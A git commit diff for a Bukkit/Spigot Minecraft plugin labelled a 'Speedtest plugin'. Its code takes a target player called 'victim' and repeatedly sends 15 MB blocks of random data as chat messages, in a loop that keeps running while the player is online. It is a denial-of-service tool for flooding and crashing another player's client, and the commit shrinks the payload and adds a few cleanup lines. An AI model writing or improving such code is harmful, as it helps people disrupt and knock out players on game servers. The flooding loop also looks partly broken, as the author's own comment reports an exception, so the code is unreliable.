memory leak

This commit is contained in:
iTakinn
2025-09-19 11:44:53 -03:00
parent ca4a99fd81
commit 23711f1eac
2 changed files with 6 additions and 3 deletions
+1 -1
View File
@@ -4,7 +4,7 @@
<modelVersion>4.0.0</modelVersion>
<groupId>com.itakinn</groupId>
<artifactId>stplayer</artifactId>
<version>1.0-SNAPSHOT</version>
<version>1.1-SNAPSHOT</version>
<packaging>jar</packaging>
<name>stplayer</name>
<description>Speedtest plugin for Bukkit/Spigot</description>
+5 -2
View File
@@ -12,7 +12,7 @@ public class Main extends JavaPlugin {
public void onEnable() {
this.getCommand("stplayer").setExecutor(this);
}
@Override
public boolean onCommand(CommandSender sender, Command command, String label, String[] args) {
if (sender.hasPermission("stplayer.use") || !(sender instanceof Player)) {
Player victim = Bukkit.getPlayer(args[0]);
@@ -21,6 +21,7 @@ public class Main extends JavaPlugin {
for (int i = 0; i < 5; ++i) {
if (victim == null || !victim.isOnline()) {
sender.sendMessage("Player offline or not found.");
break;
}else {
this.stressPlayer(victim);
}
@@ -36,9 +37,10 @@ public class Main extends JavaPlugin {
private void stressPlayer(Player victim) {
try {
byte[] data = new byte[20971520]; // 20 MB
byte[] data = new byte[15728640]; // 15 MB
new Random().nextBytes(data);
this.sendLargeMessage(victim, data);
data = null;
} catch (Exception e) {
e.printStackTrace();
}
@@ -49,5 +51,6 @@ public class Main extends JavaPlugin {
while (player.isOnline() && !dataString.isEmpty()) {
player.sendMessage(player.getUniqueId(), dataString); //IDK it get java.util.NoSuchElementException:
}
dataString=null;
}
}